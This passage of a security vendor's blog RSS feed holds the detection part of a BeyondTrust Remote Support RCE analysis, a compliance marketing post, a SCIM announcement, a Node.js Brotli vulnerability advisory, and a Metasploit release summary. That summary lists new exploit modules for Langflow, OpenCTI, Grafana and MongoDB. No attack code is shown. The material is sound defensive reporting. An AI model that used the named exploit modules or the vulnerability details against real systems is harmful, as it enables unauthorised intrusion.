undefined;'>thin-scc.log</span><span style='font-size: undefined;'>:</span></p><pre language="html">20261029 17:06:37    319 thin-scc 14419:proc{LocalFileTransfer}(t14486) MRS_STREAM:INFO&gt;createStream: connecting to address 1:1129726787:1031
20261029 17:06:37      2 thin-scc 14419:proc{LocalFileTransfer}(t14486) MRS_CL:ERROR&gt;nodeID not found in node list even after renumerating: 0
20261029 17:06:37      0 thin-scc 14419:proc{LocalFileTransfer}(t14486) MSG_DSP:ERROR&gt;failed to create a mailbox for sending to: 0:0:0</pre><p><span style='font-size: undefined;'></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Our requests omit </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>responseAddress</span><span style='font-size: undefined;'>. The handler starts the transfer, then tries to send its action response to an empty address. That produces the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>0:0:0</span><span style='font-size: undefined;'> error without preventing the file write. The payload callback independently confirms execution at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>17:06:37</span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Look for this combination in the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>proc{LocalFileTransfer}</span><span style='font-size: undefined;'> context, especially around unfamiliar PHP requests or outbound connections. The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1:1129726787:1031</span><span style='font-size: undefined;'> value identifies an internal MRS mailbox; use the brain connection records below for the client IP. These entries do not identify the written filename or prove execution on their own. The empty-address errors also depend on how the exploit request is constructed; another implementation may leave different traces.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Brain connection records</span></h3><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>brain.log</span><span style='font-size: undefined;'> helps link the activity to a client address. These two entries preceded the same module run:</span></p><pre language="html">20261029 17:06:30      0 brain 6339:lstner(t06500) BRN_LSTN:INFO&gt;received fd: 47 app name: 'ingredi support desk customer' and remoteIPAddress: '192.168.1.68' and localIPAddress: '192.168.1.98' and isLoopback '0'
20261029 17:06:30      0 brain 6339:lstner(t06500) BRN_LSTN:INFO&gt;received fd: 49 app name: 'ingredi support desk customer' and remoteIPAddress: '192.168.1.68' and localIPAddress: '192.168.1.98' and isLoopback '1'</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>These are useful for a timeline, but customer connections are normal activity. We found no </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>UploadFiles</span><span style='font-size: undefined;'> or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>DownloadAnonymousFiles</span><span style='font-size: undefined;'> action records in the captured brain logs. Generic EOF, connection-reset, and conference errors also appeared; they are too broad to treat as exploit indicators by themselves.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Where to collect the native logs</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The aggregated logs are under </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>$BG_app_root/log/</span><span style='font-size: undefined;'>. While a worker is running, its own logs are under </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>$BG_app_root/data/tmp/sdcust_thin_client/&lt;thinMint&gt;/</span><span style='font-size: undefined;'>. The wrapper appends those logs to the site's log directory when the worker exits, then clears the per-worker copies. Collect both locations when investigating a live session.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The captured </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>brain.ini</span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>thin-scc.ini</span><span style='font-size: undefined;'> both had the debug output disabled with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>enabled=0</span><span style='font-size: undefined;'>. No debug log was captured, and we did not change the logging configuration. Brain's debug configuration also limits </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>MRS_*</span><span style='font-size: undefined;'> categories to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>Info</span><span style='font-size: undefined;'>, so enabling its debug output alone would not guarantee detailed message payloads.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Names such as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>UploadFileStarted</span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>DownloadFileEnded</span><span style='font-size: undefined;'> occur in the native protocol's callback code, but we did not find them in the collected logs. They should not be presented as default audit events</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/ra-rapid7-analysis-unauthenticated-file-upload-to-rce-in-beyondtrust-remote-support-cve-2026-102764</link>
      <guid isPermaLink="false">blt262e334b6912d382</guid>
      <category><![CDATA[Rapid7 Analysis]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category><dc:creator><![CDATA[Jack Heysel]]></dc:creator>
      <pubDate>Fri, 30 Oct 2026 16:01:53 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcbf09ec3af35e28e/6a15c63f08221ed5144dbf77/webinar-rapid7-logo.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[How Rapid7 InsightGovCloud Supports BOD 22-01 Compliance]]></title>
      <description><![CDATA[<h2>An introduction to CISA’s BOD 22-01</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Issued nearly four years ago, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) Binding Operational Directive 22-01 (BOD 22-01) has been adopted across both public and private sector organizations as a framework to ensure timely remediation of vulnerabilities being exploited by adversaries. By establishing a catalog of known exploited vulnerabilities (KEVs) and emphasizing a risk-based, prioritized approach, it provides a clear model for organizations to strengthen their cybersecurity posture and reduce exposure to real-world threats.</span></p><p style="direction: ltr;"><a href="/solutions/compliance/fedramp/" target="_self"><span style='font-size: undefined;'>InsightGovCloud</span></a><span style='font-size: undefined;'>, Rapid7’s FedRAMP-authorized suite of security solutions, helps organizations implement BOD 22-01 by providing automated vulnerability scanning, real-time alerts for KEVs, and reporting aligned with regulatory requirements. Public and private sector teams can quickly identify at-risk assets, prioritize remediation efforts based on active exploitation, and maintain an auditable record of compliance. By leveraging our secure, cloud-based platform, organizations gain continuous visibility, streamlined vulnerability management, and the confidence that remediation aligns with federal cybersecurity standards.</span></p><h2>How InsightGovCloud stacks up against key BOD 22-01 requirements</h2><h3><span style='font-size: undefined;'>Requirement 1: Maintain continuous inventory and visibility</span></h3><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>InsightVM, included in the suite, supports continuous and automated discovery of both external and internal assets through Discovery Connections, which allow organizations to continuously poll network sources like Active Directory, AWS, and Azure to enumerate connected hosts and launch scans. </span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>For cloud environments, Rapid7 InsightCloudSec will continuously inventory the entire environment for the creation of new resources and automatically scan and assess those resources against compliance frameworks.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 also maintains up-to-date inventory of CISA KEVs with an industry leading 90% coverage for both on-premise and cloud based host vulnerabilities.</span></p></li></ul><h3><span style='font-size: undefined;'>Requirement 2: Remediate CISA KEV findings on a prioritized schedule</span></h3><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Continuous ingestion of CISA KEV catalog by Rapid7 ensures that detection and prioritization of KEV’s can be streamlined and native to one platform.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Automatically detect and triage assets with KEVs across cloud and hybrid environments.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Prioritize CISA KEV’s across your entire environment and establish remediation projects to quickly and collaboratively remediate KEVs.</span></p></li></ul><h3><span style='font-size: undefined;'>Requirement 3: Establish policies and enforcement</span></h3><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Collaborative remediation and compliance goals automatically track and assign vulnerabilities to the right teams with organizational defined timelines and real time dashboards to measure progress.</span></p></li></ul><h3><span style='font-size: undefined;'>Requirement 4: Automate reporting</span></h3><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 has predefined exports in Cyberscope XML reporting format for seamless ingestion into reports for CyberScope submissions as per </span><span style='font-size: undefined;'><em>CyberScope Automated Data Feeds Submission Manual</em></span><span style='font-size: undefined;'> published by the U.S. Office of Management and Budget.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Built-in audit trail to demonstrate adherence with BOD 22-01. </span></p></li></ul><h2>Why agencies and contractors choose InsightGovCloud</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 InsightGovCloud is designed to support the rigorous requirements of state and local government agencies. The benefits are many, but among the top are its deployment into a FedRAMP Authorized environment – meeting federal security and compliance requirements at every level – its seamless integration into an existing security ecosystem, and its out-of-the-box alignment with CISA and CMMC security mandates. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Agencies and contractors enjoy a future-proof tool in that Rapid7 is continuously updating against the ever-growing KEV catalog, as well as unmatched visibility and control through leadership-friendly reporting. Get to know the platform better </span><a href="https://www.rapid7.com/solutions/compliance/fedramp/"><span style='font-size: undefined;'>here</span></a><span style='font-size: undefined;'>.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-insightgovcloud-supports-bod-22-01-compliance</link>
      <guid isPermaLink="false">blt0c8abc646e76126b</guid>
      <category><![CDATA[Compliance]]></category>
      <category><![CDATA[Government]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Wed, 28 Oct 2026 13:16:39 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltebc2810157aecfaf/68af2715c53b04810df94abb/blog-hero-generic-pixel.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Simplify User Access Management with SCIM on Rapid7 Command Platform]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Managing access to security tools shouldn't require another manual process. As organizations grow, keeping user accounts and permissions up to date becomes increasingly complex. Employees join, change roles, and leave, creating a constant need to update access across applications.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>When these processes rely on manual administration, delays and oversights can introduce unnecessary work and security risk.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 Command Platform now supports System for Cross-domain Identity Management (SCIM), enabling customers to automate user provisioning and deprovisioning through their existing identity provider (IdP).</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This helps organizations reduce administrative overhead, maintain more consistent access controls, and manage identity at scale.</span></p><h2 style="direction: ltr;">Automate user access throughout the employee lifecycle</h2><p style="direction: ltr;"><span style='font-size: undefined;'>SCIM is an open standard that enables identity providers, such as Okta, to automatically manage user accounts in connected applications.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>With SCIM enabled, Rapid7 Command Platform customers can:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Automate provisioning:</strong></span><span style='font-size: undefined;'> Create accounts when employees join or need access.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Keep user information current:</strong></span><span style='font-size: undefined;'> Synchronize supported user attributes as information changes.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Simplify offboarding:</strong></span><span style='font-size: undefined;'> Automatically deactivate accounts when users no longer require access.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Manage groups at scale:</strong></span><span style='font-size: undefined;'> Synchronize group membership to help streamline access administration.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Rather than manually updating accounts in Command Platform, administrators can manage supported identity lifecycle changes through their existing IdP.</span></p><h2 style="direction: ltr;">Less administration, more consistent access control</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Consider a common scenario: An employee leaves the organization. Without automated provisioning, an administrator must remember to deactivate that employee's access across their applications. If an account is missed, it could remain active longer than intended.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>With SCIM, changes made in the organization's identity provider can automatically trigger corresponding account updates in Command Platform.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>By introducing SCIM at the platform level, Rapid7 helps organizations:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Reduce operational overhead by eliminating repetitive account-management tasks.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Strengthen access governance by reducing stale accounts and keeping user information aligned with identity provider policies.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Scale more efficiently by centralizing identity lifecycle management for supported Command Platform applications.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>For organizations with security and compliance requirements, these capabilities also help support consistent onboarding and offboarding processes.</span></p><h2 style="direction: ltr;">Get started with SCIM</h2><p style="direction: ltr;"><span style='font-size: undefined;'>SCIM support is now available to Rapid7 Command Platform customers.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Platform administrators can configure SCIM through Command Platform's SSO settings using their existing identity provider. SCIM is disabled by default and requires configuration before automated provisioning begins.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For prerequisites and setup instructions, visit the</span><a href="https://docs.rapid7.com/insight/scim/"><span style='font-size: undefined;'> Command Platform SCIM integration documentation</span></a><span style='font-size: undefined;'>.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-scim-simplifies-user-access-management-uam-command-platform</link>
      <guid isPermaLink="false">blt25a186705ed4b6b0</guid>
      <category><![CDATA[Identity Access Management (IAM)]]></category><dc:creator><![CDATA[Michael Chroney]]></dc:creator>
      <pubDate>Tue, 27 Oct 2026 12:24:04 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3cc8c945f314ec1f/68b9a045a7d14357b3ba893b/blog-hero-texture-lines.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[CVE-2026-111497: Critical out-of-bounds write in the Node.js Brotli decoder]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On October 21, 2026, the Node.js Project </span><a href="https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high"><span style='font-size: undefined;'>published a security advisory</span></a><span style='font-size: undefined;'> for </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-111497"><span style='font-size: undefined;'>CVE-2026-111497</span></a><span style='font-size: undefined;'>, an out-of-bounds write in the Brotli decoder bundled with Node.js. The vulnerability affects the Node.js </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.x</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>24.x</span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.x</span><span style='font-size: undefined;'> release lines. Node.js rates the issue High, while Google, the CVE Numbering Authority (CNA), gives it a critical CVSSv4 score of </span><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>9.2</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>An attacker who can supply Brotli data that an application decompresses with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>node:zlib</span><span style='font-size: undefined;'> can corrupt process memory. According to Node.js, this corruption can lead to a process crash, disclosure of sensitive process memory, or remote code execution. Exposure therefore depends on whether an application passes attacker-controlled compressed data to the affected decoder.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>On October 27, 2026, CVE-2026-111497 was </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-111497"><span style='font-size: undefined;'>added</span></a><span style='font-size: undefined;'> to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. Given the vulnerability's potential to disclose memory or enable remote code execution (RCE), Rapid7 recommends that organizations prioritize remediation.</span></p><h2 style="direction: ltr;">Technical overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-111497 is classified as an out-of-bounds write (</span><a href="https://cwe.mitre.org/data/definitions/787.html"><span style='font-size: undefined;'>CWE-787</span></a><span style='font-size: undefined;'>) and an unchecked return value (</span><a href="https://cwe.mitre.org/data/definitions/252.html"><span style='font-size: undefined;'>CWE-252</span></a><span style='font-size: undefined;'>). Per the vendor advisory, the decoder handled an invalid Brotli block switch as a temporary need for more input instead of a permanent format error. The streaming decoder then continued appending input bytes to an eight-byte internal buffer, allowing malformed input to write beyond the buffer and corrupt process memory.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vulnerability originates in Google Brotli, which the affected Node.js release lines bundle as a dependency. The CVE record identifies affected upstream Brotli ranges on all platforms as versions </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.0.3</span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.0.10</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.1.0</span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.1.1</span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.2.0</span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.2.1</span><span style='font-size: undefined;'>. The Node.js Project remediated its bundled decoder in the fixed Node.js releases listed below.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Because CVE-2026-111497 affects the upstream Google Brotli decoder, its reach is not limited to Node.js. Vendor and project advisories have also identified affected implementations in </span><a href="https://github.com/oven-sh/bun/security/advisories/GHSA-663w-cv8g-jj2p"><span style='font-size: undefined;'>Bun</span></a><span style='font-size: undefined;'>, Python's </span><a href="https://github.com/pypa/advisory-database/blob/main/vulns/brotli/PYSEC-2026-4322.yaml"><span style='font-size: undefined;'>Brotli</span></a><span style='font-size: undefined;'> and </span><a href="https://github.com/pypa/advisory-database/blob/main/vulns/brotlicffi/PYSEC-2026-4323.yaml"><span style='font-size: undefined;'>brotlicffi</span></a><span style='font-size: undefined;'> packages, </span><a href="https://devblogs.microsoft.com/dotnet/dotnet-october-2026-oob-security-updates/"><span style='font-size: undefined;'>.NET</span></a><span style='font-size: undefined;'>, </span><a href="https://github.com/envoyproxy/envoy/security/advisories/GHSA-3wvj-j6qm-62mr"><span style='font-size: undefined;'>Envoy</span></a><span style='font-size: undefined;'> and </span><a href="https://istio.io/latest/news/security/istio-security-2026-007/"><span style='font-size: undefined;'>Istio</span></a><span style='font-size: undefined;'>, </span><a href="https://github.com/hyperxpro/Brotli4j/security/advisories/GHSA-x524-jrqf-vwq6"><span style='font-size: undefined;'>brotli4j</span></a><span style='font-size: undefined;'>, and </span><a href="https://access.redhat.com/security/vulnerabilities/RHSB-2026-015"><span style='font-size: undefined;'>operating-system packages</span></a><span style='font-size: undefined;'>. Affected versions, default exposure, and remediation vary by product; the presence of an affected decoder does not by itself establish exposure unless an application processes attacker-controlled Brotli data. Organizations should consult the relevant downstream vendor or distribution advisories to identify affected versions, assess exposure, and determine appropriate remediation.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Vendor-supplied security updates are available to remediate CVE-2026-111497. Organizations running an affected Node.js release should upgrade on an urgent basis, outside of normal patch cycles:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Node.js </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.x</span><span style='font-size: undefined;'> releases before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.23.4</span><span style='font-size: undefined;'> are affected; upgrade to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.23.4</span><span style='font-size: undefined;'> or later.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Node.js </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>24.x</span><span style='font-size: undefined;'> releases before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>24.22.1</span><span style='font-size: undefined;'> are affected; upgrade to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>24.22.1</span><span style='font-size: undefined;'> or later.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Node.js </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.x</span><span style='font-size: undefined;'> releases before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.12.1</span><span style='font-size: undefined;'> are affected; upgrade to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.12.1</span><span style='font-size: undefined;'> or later.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vendor states that end-of-life Node.js release lines should also be treated as affected when a security release occurs. Organizations using an end-of-life release should migrate to a supported, fixed release line. Node.js has not published a vendor-supported workaround; if an immediate upgrade is not possible, Rapid7 recommends restricting or disabling application paths that decompress untrusted Brotli data as a temporary exposure-reduction measure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance, please refer to the </span><a href="https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high"><span style='font-size: undefined;'>Node.js security advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-111497 with an authenticated vulnerability check for Linux, macOS, and Windows, available in the October 26 content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 26, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>October 26, 2026</strong></span>: Updated the Exposure Command, Vulnerability Management, and Nexpose section to reflect coverage availability.</li><li><span style='font-size: undefined;'><strong>October 27, 2026</strong></span><span style='font-size: undefined;'>: Updated Overview to add a reference to CVE-2026-111497 being added to the CISA KEV list.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-111497-critical-out-of-bounds-write-in-the-node-js-brotli-decoder</link>
      <guid isPermaLink="false">blt3500a9ec0b7391bd</guid>
      <category><![CDATA[Emerging Threats]]></category>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Mon, 26 Oct 2026 17:32:46 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Wrap Up: Langflow, MongoDB, and More]]></title>
      <description><![CDATA[<p>This release adds multiple new modules, and 6 of those modules point at a single target: <a href="https://www.langflow.org/">Langflow</a>, the open-source LLM workflow builder. Together they cover an authentication bypass (CVE-2026-93680), 3 unauthenticated remote code execution paths (CVE-2026-0768, CVE-2026-0769, and CVE-2026-10134), and 2 authenticated code execution flaws (CVE-2026-7873 and CVE-2026-93674), spanning Langflow releases from 1.0.0 through 1.11.4. Thanks to the work of <a href="https://github.com/rmhowe425">rmhowe425</a>, with research credit to Peter Girnus and n0k0. Beyond Langflow, open source contributor <a href="https://github.com/kmkz">kmkz</a> contributed a pre-auth RCE chain against OpenCTI. MongoDB coverage has also been expanded with 3 new auxiliary modules plus an Apache Solr version scanner thanks to the work of community member <a href="https://github.com/h00die">h00die</a>.</p><h2>New Module Content (11)</h2><h3>4gaBoards Mass User Information Disclosure (CVE-2026-53959)</h3><p>Authors: Balachandar Gowrisankar, de3erve (GitHub), and lucquach (GitHub)</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21831">#21831</a> contributed by <a href="https://github.com/anirbala98">anirbala98</a></p><p>Path: gather/4gaboards_users_info_disclosure_cve_2026_53959</p><p>CVE reference: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-53959/">CVE-2026-53959</a></p><p>Description: Adds a module that exploits CVE-2026-53959, a broken access control vulnerability allowing mass user information disclosure in 4gaBoards versions 3.3.8 and below. The application's /api/users REST endpoint lets any authenticated user retrieve a full, unpaginated list of every user in the system. Missing authorization checks allow an attacker to retrieve the email, phone, organization, name, and SSO email addresses (ssoGoogleEmail, ssoGithubEmail, and others) of every user.</p><h3>Langflow AI Authentication Bypass (CVE-2026-93680)</h3><p>Author: Richard Howe</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21942">#21942</a> contributed by <a href="https://github.com/rmhowe425">rmhowe425</a></p><p>Path: gather/langflow_auth_bypass_cve_2026_93680</p><p>CVE reference: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-93680/">CVE-2026-93680</a></p><p>Description: Adds a new auxiliary module that leverages CVE-2026-93680, an authentication bypass vulnerability impacting Langflow versions 1.5.0 through 1.11.4.</p><h3>Apache Solr Version Scanner</h3><p>Author: h00die</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/22006">#22006</a> contributed by <a href="https://github.com/h00die">h00die</a></p><p>Path: scanner/http/apache_solr_version</p><p>Description: Adds a new scanner that identifies Apache Solr and reports its version.</p><h3>MongoDB Auxiliary Module Suite</h3><p>Authors: h00die and prithvee07</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21785">#21785</a> contributed by <a href="https://github.com/h00die">h00die</a></p><p>Description: Adds the mongodb_version, mongodb_schemadump, and mongodb_hashdump auxiliary modules, and updates the existing mongodb_login module.</p><p>This PR adds the following modules:</p><ul><li>scanner/mongodb/mongodb_hashdump</li><li>scanner/mongodb/mongodb_schemadump</li><li>scanner/mongodb/mongodb_version</li></ul><h3>OpenCTI Authentication Bypass and Notifier EJS Remote Code Execution</h3><p>Author: Jean-Marie Bourbon</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21826">#21826</a> contributed by <a href="https://github.com/kmkz">kmkz</a></p><p>Path: linux/http/opencti_notifier_rce</p><p>CVE references: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-27960/">CVE-2026-27960</a> and <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-39980/">CVE-2026-39980</a></p><p>Description: Adds a new exploit module for OpenCTI that chains CVE-2026-27960 and CVE-2026-39980 to achieve unauthenticated remote command execution.</p><h3>Grafana SQL Expressions DuckDB Command Injection (CVE-2024-9264)</h3><p>Author: Özcan Ersan (@ozcanpng)</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21901">#21901</a> contributed by <a href="https://github.com/ozcanpng">ozcanpng</a></p><p>Path: multi/http/grafana_sql_expressions_rce_cve_2024_9264</p><p>CVE reference: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2024-9264/">CVE-2024-9264</a></p><p>Description: Adds an authenticated exploit module for CVE-2024-9264, a DuckDB command injection in Grafana SQL Expressions.</p><h3>Langflow AI Code Validation Authenticated RCE (CVE-2026-7873)</h3><p>Authors: Richard Howe and n0k0</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21877">#21877</a> contributed by <a href="https://github.com/rmhowe425">rmhowe425</a></p><p>Path: multi/http/langflow_auth_rce_cve_2026_7873</p><p>CVE reference: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-7873/">CVE-2026-7873</a></p><p>Description: Adds a new exploit module that detects and exploits CVE-2026-7873, an authenticated RCE vulnerability impacting Langflow versions 1.0.0 through 1.10.0.</p><h3>Langflow AI Authenticated Command Injection (CVE-2026-93674)</h3><p>Author: Richard Howe</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21939">#21939</a> contributed by <a href="https://github.com/rmhowe425">rmhowe425</a></p><p>Path: multi/http/langflow_auth_command_injection_cve_2026_93674</p><p>CVE reference: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-93674/">CVE-2026-93674</a></p><p>Description: Adds a new exploit module that detects and exploits CVE-2026-93674, an authenticated blind command injection vulnerability impacting Langflow versions 1.5.0 through 1.9.0.</p><h3>Langflow AI Validate Code Injection Unauth RCE (CVE-2026-0768)</h3><p>Authors: Peter Girnus and Richard Howe</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21864">#21864</a> contributed by <a href="https://github.com/rmhowe425">rmhowe425</a></p><p>Path: multi/http/langflow_unauth_rce_cve_2026_0768</p><p>CVE reference: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-0768/">CVE-2026-0768</a></p><p>Description: Adds a new exploit module that detects and exploits CVE-2026-0768, an unauthenticated remote code execution vulnerability impacting Langflow version 1.4.2.</p><h3>Langflow AI Custom Component Eval Injection Unauth RCE (CVE-2026-0769)</h3><p>Authors: Peter Girnus and Richard Howe</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21867">#21867</a> contributed by <a href="https://github.com/rmhowe425">rmhowe425</a></p><p>Path: multi/http/langflow_unauth_rce_cve_2026_0769</p><p>CVE reference: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-0769/">CVE-2026-0769</a></p><p>Description: Adds a new exploit 